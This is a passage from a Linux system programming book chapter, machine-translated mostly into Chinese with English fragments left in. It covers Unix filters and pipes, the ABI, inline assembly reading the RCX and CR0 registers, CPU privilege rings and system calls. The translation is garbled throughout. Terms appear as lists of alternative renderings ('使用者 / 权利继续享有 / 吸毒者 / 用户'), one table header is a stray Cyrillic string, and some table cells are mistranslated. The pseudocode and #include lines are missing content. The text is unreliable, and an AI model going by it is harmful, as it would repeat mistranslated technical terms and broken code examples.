on an embedded box to have separate binary executables for each and every utility (and it would consume more RAM). Busybox solves this problem by having a single binary executable (along with symbolic links to it from each of its applets, such as ls, ps, df, and sort). -So, nevertheless, besides the embedded scenario and all the resource limitations it implies, do follow the *One tool to do one task* rule! - -# 三个标准 I/O 通道 - -几个流行的 Unix 工具(从技术上讲,筛选器)也被有意设计为从称为**标准输入**(**标准输入**)的标准文件描述符中读取它们的输入-可能对其进行修改,并将其结果输出写入标准文件描述符**标准输出**(**标准输出**)。任何错误输出都可以写入称为**标准错误**(**)的单独错误通道** - -与 Shell 的重定向操作符(`>`表示输出重定向,`<`表示输入重定向,`2>`表示标准错误重定向),以及更重要的是使用管道(参见第*节,*无缝组合工具*)相结合,这使程序设计人员能够高度简化。 不需要硬编码(甚至不需要软编码)输入和输出源或接收器。 不出所料,它很管用。* - -让我们回顾几个快速的例子来说明这一重要的一点。 - -# 字数统计 - -我下载的 C++`netcat.c`源文件中有多少行源代码? (在这里,我们使用流行的开源`netcat`实用程序代码库的一小部分。)我们使用`wc`实用程序。 在我们进一步讨论之前,什么是 wc?**word count**和(**wc**)是一个过滤器:它从 stdin 读取输入,计算输入流中的行数、单词数和字符数,并将结果写入其 stdout。 此外,为了方便起见,可以将文件名作为参数传递给它;传递`-l`选项开关使 wc 只打印行数: - -```sh -$ wc -l src/netcat.c -618 src/netcat.c -$ -``` - -这里,输入是作为参数传递给`wc`的文件名。 - -有趣的是,我们现在应该意识到,如果不向它传递任何参数,`wc`将从 stdin 读取它的输入,默认情况下 stdin 是键盘设备。 示例如下所示: - -```sh -$ wc -l -hey, a small -quick test - of reading from stdin -by wc! -^D -4 -$ -``` - -是的,我们在 stdin 中输入了`4`行;因此结果是 4,写入 stdout-默认情况下是终端设备。 - -以下是它的美妙之处: - -```sh -$ wc -l < src/netcat.c > num -$ cat num -618 -$ -``` - -正如我们所看到的,WC 是 Unix 过滤器的一个很好的例子。 - -# 猫 / 猫科动物 - -Unix,当然还有 Linux,用户学习如何快速熟悉日常使用的`cat`实用程序。 乍一看,cat 所做的只是将文件内容输出到终端。 - -例如,假设我们有两个纯文本文件`myfile1.txt`和`myfile2.txt`: - -```sh -$ cat myfile1.txt -Hello, -Linux System Programming, -World. -$ cat myfile2.txt -Okey dokey, -bye now. -$ -``` - -好吧。 现在来看看这个: - -```sh -$ cat myfile1.txt myfile2.txt -Hello, -Linux System Programming, -World. -Okey dokey, -bye now. -$ -``` - -我们不需要运行`cat`两次,而是只运行一次,将两个文件名作为参数传递给它。 - -理论上,可以将任意数量的参数传递给 CAT:它将逐个使用所有参数! - -不仅如此,还可以使用外壳通配符(`*`和`?`;实际上,外壳将首先展开通配符,并将结果路径名作为参数传递给被调用的程序): - -```sh -$ cat myfile?.txt -Hello, -Linux System Programming, -World. -Okey dokey, -bye now. -$ -``` - -事实上,这说明了另一个关键点:任何数量的参数或没有任何数量的参数都被认为是设计程序的正确方式。 当然,每条规则都有例外:一些程序需要强制参数。 - -等等,还有更多。 `cat`也是 Unix 筛选器的一个很好的例子(回想一下:筛选器是一个从其标准输入读取、以某种方式修改其输入并将结果写入其标准输出的程序)。 - -那么,快速测试,如果我们只运行不带任何参数的`cat`,会发生什么情况? -好的,让我们试一试,看看: - -```sh -$ cat -hello, -hello, -oh cool -oh cool -it reads from stdin, -it reads from stdin, -and echoes whatever it reads to stdout! -and echoes whatever it reads to stdout! -ok bye -ok bye -^D -$ -``` - -哇,看看这个:`cat`在它的 stdin 阻塞(等待),用户键入一个字符串,然后按 Enter 键,`cat`的响应是将它的 stdin 复制到它的 stdout 库中-这就不足为奇了,因为这就是猫的工作! - -实现如下所示的命令: - -* `cat fname`与`cat < fname`相同 -* `cat > fname`创建或覆盖文件`fname`。 - -我们没有理由不能使用 CAT 将几个文件附加到一起: - -```sh -$ cat fname1 fname2 fname3 > final_fname -$ -``` - -没有理由必须只对纯文本文件执行此操作;您也可以将二进制文件连接在一起。 - -事实上,这就是该实用程序所做的-它连接文件。 因此,它的名字;正如 Unix 上的标准,是高度缩写的-从拼接到只是猫。 再一次,干净典雅-Unix 的方式。 - -cat shunts out file contents to stdout, in order. What if one wants to display a file's contents in reverse order (last line first)? Use the Unix `tac` utility – yes, that's cat spelled backward! - -Also, FYI, we saw that cat can be used to efficiently join files. Guess what: the `split (1)` utility can be used to break a file up into pieces. - -# 无缝组合工具 - -我们刚刚看到,常见的 Unix 实用程序通常被设计为过滤器,使它们能够从其标准输入读取并写入其标准输出。 这个概念得到了很好的扩展,可以使用称为**管道**的 IPC 机制将多个实用程序无缝地组合在一起。 - -此外,我们还记得 Unix 的理念包含了只做一项任务的设计。 如果我们有一个执行任务 A 的程序和另一个执行任务 B 的程序,我们想要将它们结合起来会怎么样? 啊,这就是管子的作用! 请参阅以下代码: - -`prg_does_taskA | prg_does_taskB` - -A pipe essentially is redirection performed twice: the output of the left-hand program becomes the input to the right-hand program. Of course, this implies that the program on the left must write to stdout, and the program on the read must read from stdin. - -例如:按可用空间对已挂载的文件系统列表进行排序(按相反顺序)。 - -由于我们已经在使用*一种工具完成一项任务*一节中讨论了此示例,因此我们不会重复相同的信息。 - -**选项 1**:使用临时文件执行以下代码(参见第*节,*一个工具完成一项任务*):* - -```sh -$ df --local | sed '1d' > tmp -$ sed --in-place '1d' tmp -$ sort -k4nr tmp -rootfs 20640636 1155484 18436736 6% / -tmpfs 102880 0 102880 0% /run/shm -tmpfs 51444 160 51284 1% /run -udev 10240 0 10240 0% /dev -tmpfs 5120 0 5120 0% /run/lock -$ rm -f tmp -``` - -**选项 2**:使用管道-干净优雅: - -```sh -$ df --local | sed '1d' | sort -k4nr -rootfs 20640636 1155492 18436728 6% / -tmpfs 102880 0 102880 0% /run/shm -tmpfs 51444 160 51284 1% /run -udev 10240 0 10240 0% /dev -tmpfs 5120 0 5120 0% /run/lock -$ -``` - -这不仅很优雅,而且在性能上也要优越得多,因为写入内存(管道是内存对象)比写入磁盘要快得多。 - -人们可以扩展这一概念,并在多个管道上组合多个工具;实际上,人们可以通过组合几个常规工具来构建一个超级工具。 - -例如:显示占用(物理)内存最多的三个进程;只显示它们的 PID、**虚拟大小**、(**VSZ**)、**常驻集大小**(**RSS**)(RSS 是相当准确的物理内存使用度量),以及名称: - -```sh -$ ps au | sed '1d' | awk '{printf("%6d %10d %10d %-32s\n", $2, $5, $6, $11)}' | sort -k3n | tail -n3 - 10746 3219556 665252 /usr/lib64/firefox/firefox - 10840 3444456 1105088 /usr/lib64/firefox/firefox - 1465 5119800 1354280 /usr/bin/gnome-shell -$ -``` - -在这里,我们将五个实用程序组合在四个管道上:`ps`*、*、`sed`、`awk`*、*、`sort`和`tail`。 好的! - -另一个示例:显示占用最多内存(RSS)的进程(不包括守护进程*): - -```sh -ps aux | awk '{if ($7 != "?") print $0}' | sort -k6n | tail -n1 -``` - -A daemon is a system background process; we'll cover this concept in *Daemon Process* here: [https://www.packtpub.com/sites/default/files/downloads/Daemon_Processes.pdf](https://www.packtpub.com/sites/default/files/downloads/Daemon_Processes.pdf). - -# 首选纯文本 - -UNIX 程序通常被设计成与文本一起工作,因为它是一个通用接口。 当然,确实有几个实用程序可以操作二进制对象(如对象和可执行文件);我们在这里不是指它们。 重点是:Unix 程序设计用于处理文本,因为它简化了程序的设计和体系结构。 - -一个常见的例子是:应用在启动时解析配置文件。 配置文件可以格式化为二进制 BLOB。 另一方面,将其作为纯文本文件使其易于阅读(无价!)。 因此更容易理解和维护。 有人可能会争辩说,解析二进制文件会更快。 也许在某种程度上是这样的,但请考虑以下几点: - -* 对于现代硬件,差别可能不大。 -* 标准化的纯文本格式(如 XML)将优化代码来解析它,从而产生这两个好处 - -记住,简单是关键! - -# CLI,而不是 GUI - -Unix OS 及其所有应用、实用程序和工具始终构建为从**命令行界面**(**CLI**)(通常是 shell)使用。 从 20 世纪 80 年代开始,对**图形用户界面**(**GUI**)的需求变得显而易见。 - -麻省理工学院的罗伯特·谢弗勒(Robert Scheifler)被认为是 X Window System 背后的首席设计架构师,他构建了一个极其干净和优雅的体系结构,其中一个关键组件是:GUI 在操作系统之上形成一层(实际上是几层),为 GUI 客户端(即应用)提供库。 - -The GUI was never designed to be intrinsic to applications or the OS—it's always optional. - -这一架构至今仍屹立不倒。 话虽如此,尤其是在嵌入式 Linux 上,由于性能原因,出现了较新的体系结构,如帧缓冲器和 Wayland。 此外,尽管使用 Linux 内核的 Android 需要最终用户使用 GUI,但系统开发人员与 Android 的接口 ADB 是一个 CLI。 - -大量的产品嵌入式和服务器 Linux 系统完全在 CLI 界面上运行。 为了终端用户的操作方便,GUI 几乎就像是一个附加功能。 - -Wherever appropriate, design your tools to work in the CLI environment; adapting it into a GUI at a later point is then straightforward. -Cleanly and carefully separating the business logic of the project or product from its GUI is a key to good design. - -# 模块化设计,可供其他人重新调整用途 - -从它的早期开始,Unix OS 就被刻意地设计和编码,默许多个程序员可以在系统上工作。 因此,编写干净、优雅和易于理解的代码的文化根深蒂固,可供其他有能力的程序员阅读和使用。 - -后来,随着 Unix 战争的到来,所有权和法律方面的担忧压倒了这种共享模式。 有趣的是,历史表明,Unix 的相关性和行业使用率一直在下降,直到 Linux OS(一个最好的开源生态系统)及时出现! 今天,Linux 操作系统被广泛认为是最成功的 GNU 项目。 真的很讽刺! - -# 提供机制,而不是政策 - -让我们用一个简单的例子来理解这个原理。 - -在设计应用时,您需要让用户输入登录名`name`和`password`。 执行获取和检查密码工作的函数称为`mygetpass()`。 它由函数`mylogin()`调用:`mylogin() → mygetpass()`。 - -现在,要遵循的协议是这样的:如果用户连续三次得到错误的密码,程序不应该允许访问(并且应该记录这种情况)。 好的,但是我们在哪里检查呢? - -Unix 的理念是:不要实现逻辑,如果密码指定错误三次,则在`mygetpass()`函数中中止。 相反,只需让`mygetpass()`返回一个布尔值(当密码正确时为 true,当密码错误时为 false),并让`mylogin()`函数实现所需的任何逻辑。 - -# 翻译码 / 伪代码 / 假码 / 虚拟程序代码 - -以下是错误的做法: - -```sh -mygetpass() -{ - numtries=1 - - - - if (password-is-wrong) { - numtries ++ - if (numtries >= 3) { - - - } - } - -} -mylogin() -{ - mygetpass() -} -``` - -现在让我们来看看正确的做法:走 Unix 的路! 请参阅以下代码: - -```sh -mygetpass() -{ - - - if (password-is-wrong) - return false; - - return true; -} -mylogin() -{ - maxtries = 3 - - while (maxtries--) { - if (mygetpass() == true) - - } - - // If we're here, we've failed to provide the - // correct password - - -} -``` - -`mygetpass()`的任务是从用户那里获取密码并检查其是否正确;它将成功或失败返回给调用者-仅此而已。 这就是机制。 如果密码错误,它的工作不是决定该怎么做--这是政策,由调用者决定。 - -现在我们已经概括地介绍了 Unix 理念,对于 Linux 上的系统开发人员来说,有什么重要的收获呢? - -在 Linux 操作系统上设计和实现应用时,学习并遵循 Unix 理念将带来巨大的回报。 您的应用将执行以下操作: - -* 自然地适应这个系统;这是非常重要的 -* 大大降低了复杂性 -* 拥有整洁优雅的模块化设计 -* 可维护性更强 - -# Linux 系统架构 - -为了清楚地理解 Linux 系统体系结构,人们需要首先理解几个重要的概念:处理器**应用二进制接口**(**ABI**)、CPU 特权级别,以及这些因素对我们编写的代码有何影响。 因此,在深入研究系统体系结构本身的细节之前,我们将通过几个代码示例在这里深入研究这些内容。 - -# 初步做法 / 起始行为 / 预备性事务 / 预赛 - -如果有人问:“CPU 是用来做什么的?”答案很明显:CPU 是机器的心脏--它读入、解码和执行机器指令,工作在内存和外围设备上。 它通过合并不同的阶段来做到这一点。 - -非常简单地说,在指令提取阶段,它从内存(RAM)或 CPU 高速缓存中读取机器指令(我们以各种人类可读的方式表示这些指令--十六进制、汇编语言和高级语言),然后在指令解码阶段继续对指令进行解密。 在此过程中,它利用了控制单元、寄存器组、算术逻辑单元和存储器/外设接口。 - -# ABI - -让我们设想一下,我们编写了一个 C 程序,并在机器上运行它。 - -嗯,等一下。 C 代码不可能被 CPU 直接破译,它必须转换成机器语言。 因此,我们知道,在现代系统上,我们将安装工具链-这包括编译器、链接器、库对象和各种其他工具。 我们编译并链接 C 源代码,将其转换为可在系统上运行的可执行格式。 - -处理器**指令集体系结构**(**ISA**)-记录机器的指令格式、支持的寻址方案及其寄存器模型。 事实上,CPU 和**原始设备制造商**(**OEM**)发布了一份描述机器如何工作的文档;该文档通常称为 ABI。ABI 不仅描述 ISA,还描述机器指令格式、寄存器集详细信息、调用约定、链接语义和可执行文件格式,如 ELF。 试试快速谷歌 x86ABI-它应该会显示有趣的结果。 - -The publisher makes the full source code for this book available on their website; we urge the reader to perform a quick Git clone on the following URL. Build and try it: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -我们来试试这个吧。 首先,我们编写一个简单的`Hello, World`类型的 C 程序: - -```sh - $ cat hello.c /* - * hello.c - * - **************************************************************** - * This program is part of the source code released for the book - * "Linux System Programming" - * (c) Kaiwan N Billimoria - * Packt Publishers - * - * From: - * Ch 1 : Linux System Architecture - **************************************************************** - * A quick 'Hello, World'-like program to demonstrate using - * objdump to show the corresponding assembly and machine - * language. - */ -#include -#include -#include - -int main(void) -{ - int a; - - printf("Hello, Linux System Programming, World!\n"); - a = 5; - exit(0); -} $ -``` - -我们使用`make`通过`Makefile`构建应用。 理想情况下,代码必须在没有任何警告的情况下编译: - -```sh -$ gcc -Wall -Wextra hello.c -o hello -hello.c: In function ‘main': -hello.c:23:6: warning: variable ‘a' set but not used [-Wunused-but-set-variable] - int a; - ^ -$ -``` - -Important! Do not ignore compiler warnings with production code. Strive to get rid of all warnings, even the seemingly trivial ones; this will help a great deal with correctness, stability, and security. - -在这个简单的示例代码中,我们理解并预测了`gcc`发出的未使用的变量和警告,出于本演示的目的,我们将其忽略。 - -The exact warning and/or error messages you see on your system could differ from what you see here. This is because my Linux distribution (and version), compiler/linker, library versions, and perhaps even CPU, may differ from yours. I built this on a x86_64 box running the Fedora 27/28 Linux distribution. - -类似地,我们构建`hello`程序的调试版本(同样,暂时忽略警告),并运行它: - -```sh -$ make hello_dbg -[...] -$ ./hello_dbg -Hello, Linux System Programming, World! -$ -``` - -我们使用功能强大的**`objdump`**实用程序查看程序的混合源代码-汇编机语言(`objdump's --source option switch` -` -S, --source Intermix source code with disassembly`): - -```sh -$ objdump --source ./hello_dbg ./hello_dbg: file format elf64-x86-64 - -Disassembly of section .init: - -0000000000400400 <_init>: - 400400: 48 83 ec 08 sub $0x8,%rsp - -[...] - -int main(void) -{ - 400527: 55 push %rbp - 400528: 48 89 e5 mov %rsp,%rbp - 40052b: 48 83 ec 10 sub $0x10,%rsp - int a; - - printf("Hello, Linux System Programming, World!\n"); - 40052f: bf e0 05 40 00 mov $0x4005e0,%edi - 400534: e8 f7 fe ff ff callq 400430 - a = 5; - 400539: c7 45 fc 05 00 00 00 movl $0x5,-0x4(%rbp) - exit(0); - 400540: bf 00 00 00 00 mov $0x0,%edi - 400545: e8 f6 fe ff ff callq 400440 - 40054a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1) - -[...] - -$ -``` - -The exact assembly and machine code you see on your system will, in all likelihood, differ from what you see here; this is because my Linux distribution (and version), compiler/linker, library versions, and perhaps even CPU, may differ from yours. I built this on a x86_64 box running Fedora Core 27. - -好的。 让我们来看源代码行:`a = 5;`,其中,`objdump`显示了相应的机器和汇编语言: - -```sh - a = 5; - 400539: c7 45 fc 05 00 00 00 movl $0x5,-0x4(%rbp) -``` - -我们现在可以清楚地看到以下几点: - -| **C 源** | **汇编语言** | **机器说明** | -| **`a = 5;`** | **`movl $0x5,-0x4(%rbp)`** | `c7 45 fc 05 00 00 00` | - -因此,当进程运行时,它会在某个时刻获取并执行机器指令,从而产生所需的结果。 事实上,这正是可编程计算机设计的目的! - -Though we have shown examples of displaying (and even writing a bit of) assembly and machine code for the Intel CPU, the concepts and principles behind this discussion hold up for other CPU architectures, such as ARM, PPC, and MIPS. Covering similar examples for all these CPUs goes beyond the scope of this book; however, we urge the interested reader to study the processor datasheet and ABI, and try it out.  - -# 通过内联汇编访问寄存器的内容 - -现在我们已经编写了一个简单的 C 程序,并看到了它的汇编和机器码,接下来让我们来看一些更具挑战性的东西:一个使用内联汇编访问 CPU 寄存器内容的 C 程序。 - -Details on assembly-language programming are outside the scope of this book; refer to the *Further reading* section on the GitHub repository. - -X86_64 有几个寄存器;在本例中,我们只使用普通的 RCX 寄存器。 我们确实使用了一个有趣的技巧:x86ABI 调用约定规定函数的返回值将是放置在累加器中的值,即 x86_64 的 RAX。 利用这些知识,我们编写了一个函数,该函数使用内联汇编将所需寄存器的内容放入 RAX。 这确保了它将返回给调用者! - -Assembly micro-basics includes the following: - -`at&t syntax:` -`       movq , ` -`Register        : prefix name with %` -`Immediate value : prefix with $` - -For more, see the *Further reading* section on the GitHub repository. - -让我们来看一下以下代码: - -```sh -$ cat getreg_rcx.c -/* - * getreg_rcx.c - * - **************************************************************** - * This program is part of the source code released for the book - * "Linux System Programming" - * (c) Kaiwan N Billimoria - * Packt Publishers - * - * From: - * Ch 1 : Linux System Architecture - **************************************************************** - * Inline assembly to access the contents of a CPU register. - * NOTE: this program is written to work on x86_64 only. - */ -#include #include -#include - -typedef unsigned long u64; - -static u64 get_rcx(void) -{ - /* Pro Tip: x86 ABI: query a register's value by moving its value into RAX. - * [RAX] is returned by the function! */ - __asm__ __volatile__( - "push %rcx\n\t" - "movq $5, %rcx\n\t" - "movq %rcx, %rax"); - /* at&t syntax: movq , */ - __asm__ __volatile__("pop %rcx"); -} - -int main(void) -{ - printf("Hello, inline assembly:\n [RCX] = 0x%lx\n", - get_rcx()); - exit(0);} -$ gcc -Wall -Wextra getreg_rcx.c -o getreg_rcx -getreg_rcx.c: In function ‘get_rcx': -getreg_rcx.c:32:1: warning: no return statement in function returning non-void [-Wreturn-type] - } - ^ -$ ./getreg_rcx Hello, inline assembly: - [RCX] = 0x5 -$ -``` - -好了,它的工作情况与预期不谋而合。 - -# 通过内联汇编访问控制寄存器的内容 - -在 x86_64 处理器上众多迷人的寄存器中,恰好有六个控制寄存器,分别命名为 CR0 到 CR4 和 CR8。 真的没有必要深入研究它们的细节;只要说它们对系统控制至关重要就足够了。 - -出于说明性示例的目的,让我们暂时考虑一下 CR0 寄存器。 英特尔的手动状态:CR0-包含控制处理器操作模式和状态的系统控制标志。 - -Intel's manuals can be downloaded conveniently as PDF documents from here (includes the Intel® 64 and IA-32 Architectures Software Developer's Manual, Volume 3 (3A, 3B and 3C): System Programming Guide): -[https://software.intel.com/en-us/articles/intel-sdm](https://software.intel.com/en-us/articles/intel-sdm) - -显然,CR0 是一个重要的寄存器! -我们修改了之前的程序以访问和显示其内容(而不是普通的`RCX`寄存器)。 唯一相关的代码(与前一个程序不同)是查询`CR0`寄存器值的函数: - -```sh -static u64 get_cr0(void) -{ - /* Pro Tip: x86 ABI: query a register's value by moving it's value into RAX. - * [RAX] is returned by the function! */ - __asm__ __volatile__("movq %cr0, %rax"); - /* at&t syntax: movq , */ -} -``` - -构建并运行它: - -```sh -$ make getreg_cr0 -[...] -$ ./getreg_cr0 -Segmentation fault (core dumped) -$ -``` - -它坠毁了! - -好吧,这里发生了什么事? 继续读下去。 - -# CPU 权限级别 - -正如本章前面提到的,CPU 的基本工作是从内存中读取机器指令,解密并执行它们。 在计算的早期,这几乎是处理器所做的全部工作。 但后来,工程师们更深入地思考,意识到这有一个关键的问题:如果程序员可以向处理器提供任意的机器指令流,而处理器反过来盲目而顺从地执行,这就存在造成破坏的余地,如何入侵机器! - -如何攻击机器? - -如何破解机器? - -。 回想上一节英特尔处理器的 CR0 控制寄存器:包含控制处理器操作模式和状态的系统控制标志。*如果用户对 CR0 寄存器具有无限制(读/写)访问权限,则可以切换可执行以下操作的位: - -* 打开或关闭硬件分页 -* 禁用 CPU 缓存 -* 更改缓存和对齐属性 -* 在操作系统标记为只读的内存(从技术上讲,页面)上禁用 WP(写保护 - -哇,黑客真的可以造成很大的破坏。 至少,应该只允许操作系统进行这种访问。 - -正是由于操作系统及其控制的硬件资源的安全性、健壮性和正确性等原因,所有现代 CPU 都包含特权级别的概念。 - -现代 CPU 至少支持两个特权级别或模式,通常称为以下级别: - -* 监督者,监管人 -* 使用者 / 权利继续享有 / 吸毒者 / 用户 - -您需要了解代码(即机器指令)在 CPU 上以给定的特权级别或模式运行。 设计和实现操作系统的人员可以自由利用处理器特权级别。 这正是现代操作系统的设计方式。 请看下表中的通用 CPU 权限级别: - -| **权限级别或模式名称** | **权限级别** | **目的** | **术语** | -| 监督者,监管人 | 高的 / 大的 / 高级的 / 高音调的 | 操作系统代码在此处运行 | 内核空间 | -| 使用者 / 权利继续享有 / 吸毒者 / 用户 | 洛 (人名) | 应用代码在此处运行 | 用户空间(或用户空间) | - -Table 1: Generic CPU Privilege Levels - -# X86 上的特权级别或环 - -为了更好地理解这一重要概念,让我们以流行的 x86 体系结构为例。 从 i386 开始,英特尔处理器支持四个特权级别或环:环 0、环 1、环 2 和环 3。在英特尔 CPU 上,这些级别的工作方式如下: - -![](img/d2294bba-9ac8-444b-9ed8-18f3223ddc66.png) - -Figure 1: CPU ring levels and privilege - -让我们以*表 2 的形式来可视化这个*图 1*:所有 x86 特权或环级别*: - -| **权限或环级别** | Колибрипрограммапрограммирования | **目的** | -| 振铃 0 | 高的 / 大的 / 高级的 / 高音调的 | 操作系统代码在此处运行 | -| 振铃 1 | | | -| 振铃 2 | | | -| 环 3 | 低的 / 矮的 / 卑贱的 / 粗俗的 | 应用代码在此运行(用户区域) | - -Table 2: x86 privilege or ring levels Originally, ring levels 1 and 2 were intended for device drivers, but modern OSes typically run driver code at ring 0 itself. Some hypervisors (VirtualBox being one) used to use Ring 1 to run the guest kernel code; this was the case earlier when no hardware virtualization support was available (Intel VT-x, AMD SV). - -The ARM (32-bit) processor has seven modes of execution; of these, six are privileged, and only one is the non-privileged mode. On ARM, generically, the equivalent to Intel's Ring 0 is Supervisor (SVC) mode, and the equivalent to Intel's Ring 3 is User mode.  - -For interested readers, there are more links in the *Further reading *section on the GitHub repository. - -下图清楚地显示了在 x86 处理器上运行的所有现代操作系统(Linux、Unix、Windows 和 MacOS)利用处理器特权级别: - -![](img/bb4667c1-4b63-41c1-bc9b-6f2649caf32a.png) - -Figure 2: User-Kernel separation - -重要的是,处理器 ISA 为每条机器指令分配一个或多个允许它们执行的特权级别。 允许在用户权限级别执行的机器指令自动意味着它也可以在 Supervisor 权限级别执行。 在什么模式下可以和不可以做什么的区分也适用于寄存器访问。 - -使用英特尔术语,**当前特权级别**(**CPL**)是处理器当前执行代码的特权级别。 - -例如,在给定处理器上的配置如下所示: - -* Foo1 机器指令具有允许的 Supervisor 特权级别(或 x86 的 Ring 0) -* Foo2 机器指令具有允许的用户特权级别(或 x86 的 Ring 3) - -因此,对于执行这些机器指令的正在运行的应用,会出现下表: - -| **机器指令** | **允许-在模式** | **CPL(当前权限级别)** | **有效吗?** | -| FOO1 | 主管(0) | 0 | 肯定的回答 / 赞成 / 是 | -| 3. | 不 / 否决票 / 同 Noh | -| 页脚 2 | 用户(3) | 0 | 肯定的回答 / 赞成 / 是 | -| 3. | 肯定的回答 / 赞成 / 是 | - -Table 3: Privilege levels – an example So, thinking about it, foo2 being allowed at User mode would also be allowed to execute with any CPL. In other words, if the CPL <= allowed privilege level, it works, otherwise it does not. - -例如,当用户在 Linux 上运行应用时,该应用作为一个进程运行(稍后将对此进行更多介绍)。 但是,应用代码在什么权限(或模式或环)下运行呢? 请参阅上表:用户模式(x86 上的环 3)。 - -啊哈! 所以现在我们明白了。 前面的代码示例`getreg_rcx.c`之所以有效,是因为它试图访问通用`RCX`寄存器的内容,这在用户模式下是允许的(当然,环 3 和其他级别也是允许的)! - -但`getreg_cr0.c`的代码失败;因为它试图访问`CR0`控制寄存器的内容而崩溃,这在用户模式(Ring 3)下是不允许的,并且仅允许在 Ring 0 特权下! 只有操作系统或内核代码才能访问控制寄存器。 这也适用于其他几条敏感的汇编语言指令。 这种方法很有意义。 - -从技术上讲,它崩溃是因为处理器引发了**通用保护故障**(**GPF**)。 - -# Linux 体系结构 - -Linux 系统架构是分层的。 下面的图表以一种非常简单的方式说明了 Linux 系统架构,但也是我们了解这些细节的理想起点: - -![](img/96584a09-5291-4921-9468-fcf30591d495.png) - -Figure 3: Linux – Simplified layered architecture - -层很有用,因为每一层只需要关注其正上方和下方的层。 这将带来许多优势: - -* 设计整洁,降低复杂性 -* 标准化、互操作性 -* 能够在堆栈内外交换图层 -* 能够根据需要轻松引入新层 - -On the last point, there exists the FTSE. To quote directly from Wikipedia: - -The "**fundamental theorem of software engineering** (**FTSE**)" is a term originated by Andrew Koenig to describe a remark by Butler Lampson attributed to the late David J. Wheeler  - -We can solve any problem by introducing an extra level of indirection. - -既然我们了解了 CPU 模式或特权级别的概念,以及现代操作系统是如何利用它们的,那么 Linux 系统体系结构的一个更好的图(在前一个图的基础上扩展)将如下所示: - -![](img/c1d28e82-acf9-4791-ad82-ae2e2f135916.png) - -Figure 4: Linux system architecture - -在上图中,P1、P2、…。 PN 只不过是用户地进程(进程 1、进程 2),或者换句话说,是运行应用。 例如,在 Linux 笔记本电脑上,我们可能运行 VIM 编辑器、Web 浏览器和终端窗口(GNOME-TERMINAL)。 - -# 图书馆 / 图书馆的藏书 / 资料室 / 文库 - -当然,库是代码的档案(集合);众所周知,使用库在代码模块化、标准化、防止重新发明轮子综合症等方面有很大帮助。 Linux 桌面系统可能有数百个库,甚至可能有几千个库! - -经典 K&R`hello, world`C 程序使用`printf`API 将字符串写入显示器: - -```sh -printf(“hello, world\n”); -``` - -显然,`printf`代码不是`hello, world`源代码的一部分。 那么它是从哪里来的呢? 它是标准 C 库的一部分;在 Linux 上,由于它的 GNU 起源,这个库通常被称为**GNU libc**(**glibc**)。 - -Glibc 是 Linux 机器上的一个关键且必需的组件。 它不仅包含通常的标准 C 库例程(API),而且实际上是操作系统的编程接口! 多么?。 通过其较低层,系统调用。 - -# 系统调用 - -系统调用实际上是内核功能,可以通过 glibc 存根例程从用户空间调用。 它们提供一个关键功能;它们将用户空间连接到内核空间。 如果用户程序想要请求内核的某些东西(从文件读取、写入网络、更改文件权限),它可以通过发出系统调用来实现。 因此,系统调用是内核的唯一合法入口点。 用户空间进程没有其他方法来调用内核。 - -For a list of all the available Linux system calls, see section 2 of the man pages ([https://linux.die.net/man/2/](https://linux.die.net/man/2/)). One can also do: man 2 syscalls to see the man page on all supported system calls - -换一种方式来考虑这一点:Linux 内核内部实际上有数千个 API(或函数)。 在这些 API 中,只有一小部分对用户空间可见或可用,即公开;这些公开的内核 API 是系统调用! 同样,作为近似值,现代 Linux glibc 大约有 300 个系统调用。 - -On an x86_64 Fedora 27 box running the 4.13.16-302.fc27.x86_64 kernel, there are close to 53,000 kernel APIs! - -需要理解的关键是:系统调用与所有其他(通常是库)API 非常不同。 当它们最终调用内核(OS)代码时,它们能够跨越用户-内核边界;实际上,它们能够从正常的非特权用户模式切换到完全特权的 Supervisor 或内核模式! - -多么?。 无需深入研究这些令人毛骨悚然的细节,系统调用本质上是通过调用特殊的机器指令来工作的,这些指令具有将处理器模式从用户切换到 Supervisor 的内置能力。 所有现代的 CPUABI 都将提供至少一条这样的机器指令;在 x86 处理器上,实现系统调用的传统方法是使用特殊的 INT0x80 机器指令。 是的,它确实是一个软件中断(或陷阱)。 从 Pentium Pro 和 Linux 2.6 开始,使用 sysenter/syscall 的机器指令。 请参阅关于 GitHub 存储库的*进一步阅读*部分。 - -从应用开发人员的角度来看,关于系统调用的一个关键点是,系统调用看起来像是可以由开发人员调用的常规函数(API);这种设计是经过深思熟虑的。 实际情况:用户调用的系统调用 API-例如`open()`、`read()`、`chmod()`、`dup()`和`write()`-只是存根。 它们是一种巧妙的机制,可以获取内核中的实际代码(实现这一点需要用系统调用号填充 x86 上的累加器寄存器,并通过其他通用寄存器传递参数),以执行内核代码路径,并在完成后返回到用户模式。 请参阅下表: - -| 中央处理机 | 用于从用户模式捕获到 Supervisor(内核)模式的机器指令 | 系统调用号的已分配寄存器 | -| `x86[_64]` | `int 0x80 or syscall` | `EAX / RAX` | -| `ARM` | `swi / svc` | R0 到 R7 | -| `Aarch64` | `svc` | `X8` | -| `MIPS` | `syscall` | `$v0` | - -Table 4:  System calls on various CPU Architectures for better understanding - -# Linux--单片操作系统 - -操作系统通常被认为遵循两种主要架构风格中的一种:单核或微内核。 - -Linux 无疑是一个单一的操作系统。 - -# 那是什么意思? - -英文单词 monolstone 的字面意思是一大块直立的大石块: - -![](img/6cbdd14a-b484-42d8-af5f-909fa6fdb60a.jpg) - -Figure 5: Corinthian columns – they're monolithic!  - -在 Linux 操作系统上,应用作为称为**进程**的独立实体运行。 进程可以是单线程(原始 Unix)或多线程。 无论如何,目前,我们将进程视为 Linux 上的执行单元;进程被定义为正在执行的程序的实例。 - -当用户空间进程发出库调用时,库 API 可能会发出系统调用,也可能不会发出系统调用。 例如,发出`atoi(3)`命令 API 不会导致 glibc 发出系统调用,因为它不需要内核支持来实现字符串到整数的转换。 `(n)`*;*n 是手册页部分。 - -为了帮助澄清这些重要概念,让我们再来看看著名而经典的 K&R`Hello, World`C 程序: - -```sh -#include -main() -{ - printf(“hello, world\n”); -} -``` - -好的,这应该行得通。 确实如此。 -但是,问题是,`printf(3)`API 到底是如何写入监控设备的? - -简短的答案是:它不会。 -实际情况是,`printf(3)`只有按照指定的格式设置字符串的智能;仅此而已。 一旦完成,`printf`实际上会调用`write(2)`API-a 系统调用。 WRITE 系统调用确实能够将缓冲区内容写入特殊的设备文件-监控设备,WRITE 将其视为标准输出。 回到我们关于*Unix 哲学的讨论,简而言之*:如果它不是一个进程,它就是一个文件! 